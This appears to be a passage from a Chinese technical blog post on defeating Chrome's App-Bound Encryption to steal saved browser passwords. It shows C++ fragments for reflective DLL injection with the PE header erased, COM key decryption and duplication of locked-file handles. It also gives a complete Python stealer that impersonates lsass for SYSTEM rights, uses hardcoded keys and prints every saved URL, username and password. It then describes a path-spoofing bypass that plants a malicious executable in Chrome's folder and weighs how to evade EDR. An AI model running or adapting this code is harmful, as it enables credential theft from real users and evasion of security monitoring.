用随机数据覆盖PE头,消除内存中的PE文件特征&nbsp; &nbsp;&nbsp;// ......&nbsp; &nbsp;&nbsp;// 设置各节区的内存保护属性&nbsp; &nbsp;&nbsp;//......&nbsp; &nbsp;&nbsp;// 调用 DllMian&nbsp; &nbsp;&nbsp;auto&nbsp;pDllMain =&nbsp;reinterpret_cast<DllMain_t>(newBaseAddr + entryPointRva);&nbsp; &nbsp;&nbsp;pNtFlushInstructionCache(reinterpret_cast<HANDLE>(-1),&nbsp;NULL,&nbsp;0);&nbsp; &nbsp;&nbsp;pDllMain(reinterpret_cast<HINSTANCE>(newBaseAddr), DLL_PROCESS_ATTACH, lpParameter);&nbsp; &nbsp;&nbsp;return&nbsp;newBaseAddr;}

DllMian 调用后,Payload 在浏览器进程内运行,调用 IElevator COM 接口的 DecryptData 方法获取主密钥。

// elevator.cpp 中的 COM 接口调用std::vector<uint8_t>&nbsp;Elevator::DecryptKey(const&nbsp;std::vector<uint8_t> &encryptedKey,const&nbsp;CLSID &clsid,&nbsp;const&nbsp;IID &iid,&nbsp;const&nbsp;std::optional<IID> &iid_v2,bool&nbsp;isEdge,&nbsp;bool&nbsp;isAvast) {&nbsp; &nbsp;&nbsp;CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);&nbsp; &nbsp; BSTR bstrEnc =&nbsp;SysAllocStringByteLen(reinterpret_cast<const&nbsp;char&nbsp;*>(encryptedKey.data()),&nbsp;&nbsp; &nbsp; (UINT)encryptedKey.size());&nbsp; &nbsp; Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;&nbsp; &nbsp;&nbsp;CoCreateInstance(clsid,&nbsp;nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);&nbsp; &nbsp;&nbsp;CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; COLE_DEFAULT_PRINCIPAL,&nbsp; &nbsp; &nbsp; &nbsp; RPC_C_AUTHN_LEVEL_PKT_PRIVACY, &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; RPC_C_IMP_LEVEL_IMPERSONATE, &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;nullptr, EOAC_DYNAMIC_CLOAKING);&nbsp; &nbsp;&nbsp;// 调用解密方法&nbsp; &nbsp; elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);&nbsp; &nbsp;&nbsp;// 返回 32 字节 AES-256 主密钥&nbsp; &nbsp;&nbsp;return&nbsp;result;}

获取主密钥后,Payload 开始从 SQLite 数据库提取敏感数据。数据库文件可能被运行中的浏览器锁定,Payload 使用句柄复制技术解决这个问题。通过 NtQuerySystemInformation 获取系统级句柄列表,筛选浏览器进程持有的文件句柄,使用 NtDuplicateObject 复制句柄到当前进程,通过 NtReadFile 读取文件内容并创建临时副本。

// handle_duplicator.cpp 中的句柄复制逻辑std::optional<std::filesystem::path>&nbsp;HandleDuplicator::CopyLockedFile(&nbsp; &nbsp;&nbsp;const&nbsp;std::filesystem::path& sourcePath,&nbsp;const&nbsp;std::filesystem::path& destDir) {&nbsp; &nbsp;&nbsp;NtQuerySystemInformation_syscall(SystemExtendedHandleInformation, buf.data(), buf.size(), &len);&nbsp; &nbsp;&nbsp;for&nbsp;(ULONG_PTR i =&nbsp;0; i < info->NumberOfHandles; ++i) {&nbsp; &nbsp; &nbsp; &nbsp; DWORD pid = static_cast<DWORD>(info->Handles[i].UniqueProcessId);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pidSet.find(pid) != pidSet.end()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; candidates.emplace_back(pid, info->Handles[i].HandleValue);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 复制句柄并读取内容&nbsp; &nbsp;&nbsp;NtDuplicateObject_syscall(srcProc, handleVal, myProc, &dup,&nbsp;0,&nbsp;0, DUP_SAME_ACCESS);&nbsp; &nbsp;&nbsp;NtReadFile_syscall(dup, nullptr, nullptr, nullptr, &io, data.data(), size, &offset, nullptr);&nbsp; &nbsp; std::ofstream&nbsp;f(temp, std::ios::binary);&nbsp; &nbsp; f.write(reinterpret_cast<const&nbsp;char*>(data->data()), data->size());&nbsp; &nbsp;&nbsp;return&nbsp;temp;}

v20 格式的加密数据使用 AES-256-GCM 解密。数据格式为 3 字节前缀 “v20″、12 字节 IV、密文和 16 字节认证标签。Payload 使用 Windows CNG (Cryptography Next Generation) API 执行解密。

// aes_gcm.cpp 中的 AES-256-GCM 解密逻辑std::optional<std::vector<uint8_t>> AesGcm::Decrypt(&nbsp; &nbsp;&nbsp;const&nbsp;std::vector<uint8_t>& key,&nbsp;const&nbsp;std::vector<uint8_t>& encryptedData) {&nbsp; &nbsp;&nbsp;// 验证格式: v20 + IV(12) + Ciphertext + Tag(16)&nbsp; &nbsp;&nbsp;if&nbsp;(memcmp(encryptedData.data(),&nbsp;"v20",&nbsp;3) !=&nbsp;0)&nbsp;return&nbsp;std::nullopt;&nbsp; &nbsp;&nbsp;// 初始化 CNG AES-GCM&nbsp; &nbsp;&nbsp;BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM,&nbsp;nullptr,&nbsp;0);&nbsp; &nbsp;&nbsp;BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, BCRYPT_CHAIN_MODE_GCM, ...);&nbsp; &nbsp;&nbsp;BCryptGenerateSymmetricKey(hAlg, &hKey,&nbsp;nullptr,&nbsp;0, key.data(), key.size(),&nbsp;0);&nbsp; &nbsp;&nbsp;// 设置认证模式信息&nbsp; &nbsp; BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;&nbsp; &nbsp; authInfo.pbNonce = iv; &nbsp; &nbsp;// 12 字节 IV&nbsp; &nbsp; authInfo.pbTag = tag; &nbsp; &nbsp;&nbsp;// 16 字节认证标签&nbsp; &nbsp;&nbsp;// 解密&nbsp; &nbsp;&nbsp;BCryptDecrypt(hKey, ciphertext, ctLen, &authInfo,&nbsp;nullptr,&nbsp;0,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; plain.data(), plain.size(), &outLen,&nbsp;0);&nbsp; &nbsp;&nbsp;return&nbsp;plain;}

2 直接解密(管理员权限)

该方法需要管理员权限,来进行 system 级别的 DPAPI 解密,并且需要逆向出 elevation_service.exe 中的硬编码密钥。

使用 IDA MCP ,让 AI 对 elevation_service.exe  程序进行逆向,获得3个硬编码密钥:

然后手动实现4层解密:两层 DPAPI 解密、一层 elevation_service 内置硬编码密钥解密、最终的 AES 解密。

脚本实现流程:

1、复制 Local State(存储加密主密钥)、Login Data(SQLite数据库,存储网站登录凭证)文件到临时目录,Chrome 运行时会锁住这些文件,避免锁冲突。

2、读取 Local State ,解析JSON,取出 os_crypt.app_bound_encrypted_key 字段,Base64解码后得到密钥blob。验证前缀是否为 “APPB”,去掉4字节前缀得到实际加密数据。

3、先模拟lsass进程获取 SYSTEM 权限(提权 SeDebugPrivilege → 找 lsass.exe → 复制其 token → 线程 impersonate),以 SYSTEM 身份调用 DPAPI 解密第一层,得到中间数据。回到用户身份,再用 DPAPI 解密第二层,得到原始密钥 blob。

4、解析密钥 blob 结构,读 header 长度和内容,读 content 长度和1字节的 flag。

flag=1:固定 AES 密钥 + GCM 模式解密

flag=2:固定 ChaCha20 密钥 + Poly1305解密

flag=3:CNG API 解密 AES 密钥 → XOR 混淆 → GCM 解密(最复杂,Chrome v20+默认用这个)

5、派生 v20 主密钥,根据 flag 分支处理。flag=3时:模拟 lsass → 调用 CNG 的 NCryptOpenStorageProvider → 打开 “Google Chromekey1” → NCryptDecrypt 解密出 AES 密钥 → 与固定 XOR key 异或去混淆 → 用结果作为 AES-256-GCM 密钥解密 ciphertext。

6、最后连接临时目录中的 Login Data 数据库,查询 logins 表的 origin_url, username_value, password_value 三列,解密每条密码,根据加密格式进行解密:

v20 前缀:用刚派生的主密钥,AES-GCM 解密(取3字节后12字节 IV,末16字节 tag)

v10/v11 前缀或未知格式:直接用 DPAPI 解密(旧版 Chrome)

以下是示例脚本,改编自 git 上获取 cookie 的开源代码:

import&nbsp;osimport&nbsp;ioimport&nbsp;jsonimport&nbsp;sqlite3import&nbsp;binasciiimport&nbsp;structimport&nbsp;shutilimport&nbsp;tempfileimport&nbsp;ctypesfrom&nbsp;Crypto.Cipher&nbsp;import&nbsp;AESimport&nbsp;windowsimport&nbsp;windows.securityimport&nbsp;windows.cryptoimport&nbsp;windows.generated_def&nbsp;as&nbsp;gdeffrom&nbsp;contextlib&nbsp;import&nbsp;contextmanagerdef&nbsp;is_admin():&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ctypes.windll.shell32.IsUserAnAdmin() !=&nbsp;0&nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False@contextmanagerdef&nbsp;impersonate_lsass():&nbsp; &nbsp;&nbsp;"""模拟 lsass.exe 进程获取 SYSTEM 权限"""&nbsp; &nbsp; original_token = windows.current_thread.token&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; windows.current_process.token.enable_privilege("SeDebugPrivilege")&nbsp; &nbsp; &nbsp; &nbsp; proc =&nbsp;next(p&nbsp;for&nbsp;p&nbsp;in&nbsp;windows.system.processes&nbsp;if&nbsp;p.name ==&nbsp;"lsass.exe")&nbsp; &nbsp; &nbsp; &nbsp; lsass_token = proc.token&nbsp; &nbsp; &nbsp; &nbsp; impersonation_token = lsass_token.duplicate(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;type=gdef.TokenImpersonation,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; impersonation_level=gdef.SecurityImpersonation&nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp; windows.current_thread.token = impersonation_token&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;yield&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; windows.current_thread.token = original_tokendef&nbsp;parse_key_blob(blob_data):&nbsp; &nbsp;&nbsp;"""解析密钥 blob 结构"""&nbsp; &nbsp; buffer = io.BytesIO(blob_data)&nbsp; &nbsp; parsed_data = {}&nbsp; &nbsp; header_len = struct.unpack('<I', buffer.read(4))[0]&nbsp; &nbsp; parsed_data['header'] = buffer.read(header_len)&nbsp; &nbsp; content_len = struct.unpack('<I', buffer.read(4))[0]&nbsp; &nbsp;&nbsp;assert&nbsp;header_len + content_len +&nbsp;8&nbsp;==&nbsp;len(blob_data)&nbsp; &nbsp; parsed_data['flag'] = buffer.read(1)[0]&nbsp; &nbsp;&nbsp;if&nbsp;parsed_data['flag'] ==&nbsp;1:&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['iv'] = buffer.read(12)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['ciphertext'] = buffer.read(32)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['tag'] = buffer.read(16)&nbsp; &nbsp;&nbsp;elif&nbsp;parsed_data['flag'] ==&nbsp;2:&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['iv'] = buffer.read(12)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['ciphertext'] = buffer.read(32)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['tag'] = buffer.read(16)&nbsp; &nbsp;&nbsp;elif&nbsp;parsed_data['flag'] ==&nbsp;3:&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['encrypted_aes_key'] = buffer.read(32)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['iv'] = buffer.read(12)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['ciphertext'] = buffer.read(32)&nbsp; &nbsp; &nbsp; &nbsp; parsed_data['tag'] = buffer.read(16)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(f"不支持的 flag 值:&nbsp;{parsed_data['flag']}")&nbsp; &nbsp;&nbsp;return&nbsp;parsed_datadef&nbsp;decrypt_with_cng(encrypted_data):&nbsp; &nbsp;&nbsp;"""使用 Windows CNG API 解密数据"""&nbsp; &nbsp; ncrypt = ctypes.windll.NCRYPT&nbsp; &nbsp; hProvider = gdef.NCRYPT_PROV_HANDLE()&nbsp; &nbsp; provider_name =&nbsp;"Microsoft Software Key Storage Provider"&nbsp; &nbsp; status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name,&nbsp;0)&nbsp; &nbsp;&nbsp;if&nbsp;status !=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;Exception(f"NCryptOpenStorageProvider 失败,状态码:&nbsp;{status}")&nbsp; &nbsp; hKey = gdef.NCRYPT_KEY_HANDLE()&nbsp; &nbsp; key_name =&nbsp;"Google Chromekey1"&nbsp; &nbsp; status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name,&nbsp;0,&nbsp;0)&nbsp; &nbsp;&nbsp;if&nbsp;status !=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; ncrypt.NCryptFreeObject(hProvider)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;Exception(f"NCryptOpenKey 失败,状态码:&nbsp;{status}")&nbsp; &nbsp; input_buffer = (ctypes.c_ubyte *&nbsp;len(encrypted_data)).from_buffer_copy(encrypted_data)&nbsp; &nbsp; pcbResult = gdef.DWORD(0)&nbsp; &nbsp;&nbsp;# 第一次调用获取输出缓冲区大小&nbsp; &nbsp; status = ncrypt.NCryptDecrypt(&nbsp; &nbsp; &nbsp; &nbsp; hKey, input_buffer,&nbsp;len(input_buffer),&nbsp;None,&nbsp;None,&nbsp;0, ctypes.byref(pcbResult),&nbsp;0x40&nbsp; &nbsp; )&nbsp; &nbsp;&nbsp;if&nbsp;status !=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; ncrypt.NCryptFreeObject(hKey)&nbsp; &nbsp; &nbsp; &nbsp; ncrypt.NCryptFreeObject(hProvider)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;Exception(f"第一次 NCryptDecrypt 失败,状态码:&nbsp;{status}")&nbsp; &nbsp;&nbsp;# 第二次调用实际解密&nbsp; &nbsp; output_buffer = (ctypes.c_ubyte * pcbResult.value)()&nbsp; &nbsp; status = ncrypt.NCryptDecrypt(&nbsp; &nbsp; &nbsp; &nbsp; hKey, input_buffer,&nbsp;len(input_buffer),&nbsp;None, output_buffer, pcbResult.value, ctypes.byref(pcbResult),&nbsp;0x40&nbsp; &nbsp; )&nbsp; &nbsp; ncrypt.NCryptFreeObject(hKey)&nbsp; &nbsp; ncrypt.NCryptFreeObject(hProvider)&nbsp; &nbsp;&nbsp;if&nbsp;status !=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;Exception(f"第二次 NCryptDecrypt 失败,状态码:&nbsp;{status}")&nbsp; &nbsp;&nbsp;return&nbsp;bytes(output_buffer[:pcbResult.value])def&nbsp;byte_xor(ba1, ba2):&nbsp; &nbsp;&nbsp;"""字节数组异或操作"""&nbsp; &nbsp;&nbsp;return&nbsp;bytes([a ^ b&nbsp;for&nbsp;a, b&nbsp;in&nbsp;zip(ba1, ba2)])def&nbsp;derive_v20_master_key(parsed_data):&nbsp; &nbsp;&nbsp;"""派生 v20 主密钥"""&nbsp; &nbsp;&nbsp;if&nbsp;parsed_data['flag'] ==&nbsp;1:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 使用固定的 AES 密钥&nbsp; &nbsp; &nbsp; &nbsp; aes_key =&nbsp;bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")&nbsp; &nbsp; &nbsp; &nbsp; cipher = AES.new(aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])&nbsp; &nbsp;&nbsp;elif&nbsp;parsed_data['flag'] ==&nbsp;2:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 使用固定的 ChaCha20 密钥&nbsp; &nbsp; &nbsp; &nbsp; chacha20_key =&nbsp;bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")&nbsp; &nbsp; &nbsp; &nbsp; cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=parsed_data['iv'])&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])&nbsp; &nbsp;&nbsp;elif&nbsp;parsed_data['flag'] ==&nbsp;3:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 使用 CNG 解密 AES 密钥&nbsp; &nbsp; &nbsp; &nbsp; xor_key =&nbsp;bytes.fromhex("CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;impersonate_lsass():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])&nbsp; &nbsp; &nbsp; &nbsp; xored_aes_key = byte_xor(decrypted_aes_key, xor_key)&nbsp; &nbsp; &nbsp; &nbsp; cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(f"不支持的 flag 值:&nbsp;{parsed_data['flag']}")def&nbsp;decrypt_password(encrypted_password, master_key):&nbsp; &nbsp;&nbsp;"""解密密码数据"""&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;encrypted_password&nbsp;or&nbsp;len(encrypted_password) <&nbsp;3:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None&nbsp; &nbsp;&nbsp;# 检查加密格式&nbsp; &nbsp;&nbsp;if&nbsp;encrypted_password.startswith(b'v20'):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# v20 格式: v20|IV(12字节)|密文|认证标签(16字节)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(encrypted_password) <&nbsp;3&nbsp;+&nbsp;12&nbsp;+&nbsp;16:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None&nbsp; &nbsp; &nbsp; &nbsp; iv = encrypted_password[3:3+12]&nbsp; &nbsp; &nbsp; &nbsp; ciphertext = encrypted_password[3+12:-16]&nbsp; &nbsp; &nbsp; &nbsp; tag = encrypted_password[-16:]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted_data = cipher.decrypt_and_verify(ciphertext, tag)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;decrypted_data.decode('utf-8')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"解密失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None&nbsp; &nbsp;&nbsp;elif&nbsp;encrypted_password.startswith(b'v10')&nbsp;or&nbsp;encrypted_password.startswith(b'v11'):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 旧版格式,尝试 DPAPI 解密&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted_data = windows.crypto.dpapi.unprotect(encrypted_password)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;decrypted_data.decode('utf-8')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"DPAPI 解密失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 未知格式,尝试 DPAPI 解密&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted_data = windows.crypto.dpapi.unprotect(encrypted_password)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;decrypted_data.decode('utf-8')&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;Nonedef&nbsp;main():&nbsp; &nbsp;&nbsp;"""主函数"""&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;is_admin():&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("此脚本需要以管理员权限运行")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;# Chrome 数据路径&nbsp; &nbsp; user_profile = os.environ['USERPROFILE']&nbsp; &nbsp; local_state_path = os.path.join(user_profile,&nbsp;"AppData",&nbsp;"Local",&nbsp;"Google",&nbsp;"Chrome",&nbsp;"User Data",&nbsp;"Local State")&nbsp; &nbsp; login_data_path = os.path.join(user_profile,&nbsp;"AppData",&nbsp;"Local",&nbsp;"Google",&nbsp;"Chrome",&nbsp;"User Data",&nbsp;"Default",&nbsp;"Login Data")&nbsp; &nbsp;&nbsp;# 创建临时目录&nbsp; &nbsp; temp_dir = tempfile.mkdtemp()&nbsp; &nbsp;&nbsp;# 复制文件到临时目录,无需退出chrome&nbsp; &nbsp; temp_local_state = os.path.join(temp_dir,&nbsp;"local_state")&nbsp; &nbsp; temp_login_data = os.path.join(temp_dir,&nbsp;"login_data")&nbsp; &nbsp; shutil.copy2(local_state_path, temp_local_state)&nbsp; &nbsp; shutil.copy2(login_data_path, temp_login_data)&nbsp; &nbsp;&nbsp;# 读取 Local State 文件&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(temp_local_state,&nbsp;"r", encoding="utf-8")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; local_state = json.load(f)&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"读取 Local State 文件失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;# 获取加密的密钥&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]&nbsp; &nbsp; &nbsp; &nbsp; key_blob_encrypted = binascii.a2b_base64(app_bound_encrypted_key)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 检查密钥格式&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;key_blob_encrypted.startswith(b"APPB"):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("密钥格式不正确")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp; &nbsp; &nbsp; key_blob_encrypted = key_blob_encrypted[4:] &nbsp;# 移除 "APPB" 前缀&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"解析加密密钥失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;# 双重 DPAPI 解密&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;impersonate_lsass():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; key_blob_system_decrypted = windows.crypto.dpapi.unprotect(key_blob_encrypted)&nbsp; &nbsp; &nbsp; &nbsp; key_blob_user_decrypted = windows.crypto.dpapi.unprotect(key_blob_system_decrypted)&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"DPAPI 解密失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;# 解析密钥 blob&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; parsed_data = parse_key_blob(key_blob_user_decrypted)&nbsp; &nbsp; &nbsp; &nbsp; master_key = derive_v20_master_key(parsed_data)&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"解析密钥 blob 失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;# 读取并解密密码&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; conn = sqlite3.connect(temp_login_data)&nbsp; &nbsp; &nbsp; &nbsp; cursor = conn.cursor()&nbsp; &nbsp; &nbsp; &nbsp; cursor.execute("SELECT origin_url, username_value, password_value FROM logins")&nbsp; &nbsp; &nbsp; &nbsp; logins = cursor.fetchall()&nbsp; &nbsp; &nbsp; &nbsp; conn.close()&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"读取登录数据失败:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;print("解密后的密码:")&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;80)&nbsp; &nbsp;&nbsp;for&nbsp;url, username, encrypted_password&nbsp;in&nbsp;logins:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;encrypted_password:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; password = decrypt_password(encrypted_password, master_key)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;password:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"URL:&nbsp;{url}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"用户名:&nbsp;{username}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"密码:&nbsp;{password}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("-"&nbsp;*&nbsp;80)&nbsp; &nbsp;&nbsp;# 清理临时文件&nbsp; &nbsp; shutil.rmtree(temp_dir)if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

3 伪造路径(管理员权限)

在尝试了上面两个方法之后,发现都各有优缺点。

在现代 EDR 的环境下,各种进程注入和绕过 HOOK 的方法反而被更严密地监控,此外过于复杂的内存操作遇到 EDR 或其他监控软件的 HOOK 可能会遇到奇奇怪怪的问题,比如经过测试,ChromeElevator 程序在只安装了电脑管家的个人电脑上能稳定运行,但在安装了两个商用 EDR 的办公电脑上无法正常运行,获取不到任何数据。

第二个方法虽然不涉及复杂的内存对抗,但硬编码密钥在不同的浏览器版本下可能不一致,有一定的局限性。此外该方法需要主动调用 DPAPI 进行两层解密,而部分 EDR 对 DPAPI 的调用进行了监控,如果来源不是具有合法签名的浏览器进程,可能会被拦截或告警。

这就引申出了一个折中的办法,那就是伪造可被验证通过的路径。ABE 机制在进行路径验证时,对比的并不是完整的程序路径,而是经过规范化的字符串,且不会对来源程序的签名进行验证。

MaybeTrimProcessPath 的规范化逻辑是这样的:

输入: C:\Program Files\Google\Chrome\Application\143.0.7499.193\chrome.exe步骤 1 — 去掉文件名: &nbsp; &nbsp;C:\Program Files\Google\Chrome\Application\143.0.7499.193\步骤 2 — 去掉版本号: &nbsp; &nbsp;C:\Program Files\Google\Chrome\Application\步骤 3 — 去掉 Application: C:\Program Files\Google\Chrome结果: C:\Program Files\Google\Chrome

现在如果我们把恶意程序放在同一目录或上级目录下:

C:\Program Files\Google\Chrome\Application\evil.exe步骤 1 — 去掉文件名: &nbsp; &nbsp;C:\Program Files\Google\Chrome\Application\步骤 2 — 去掉 Application: C:\Program Files\Google\Chrome结果: C:\Program Files\Google\Chrome &nbsp;← 与上面完全一致

函数只截取目录部分做比较,不检查文件名本身是什么。只要恶意程序放在 Chrome 安装路径下,经过规范化后的目录字符串就与合法 chrome.exe 的验证数据相同,让恶意程序发起 COM 请求,就能通过 elevation_service 的验证,让 elevation_service 去进行两层 DPAPI 和内层的硬编码密钥解密,返回给程序浏览器数据的加密密钥,我们的程序只需要进行 AES 解密即可。

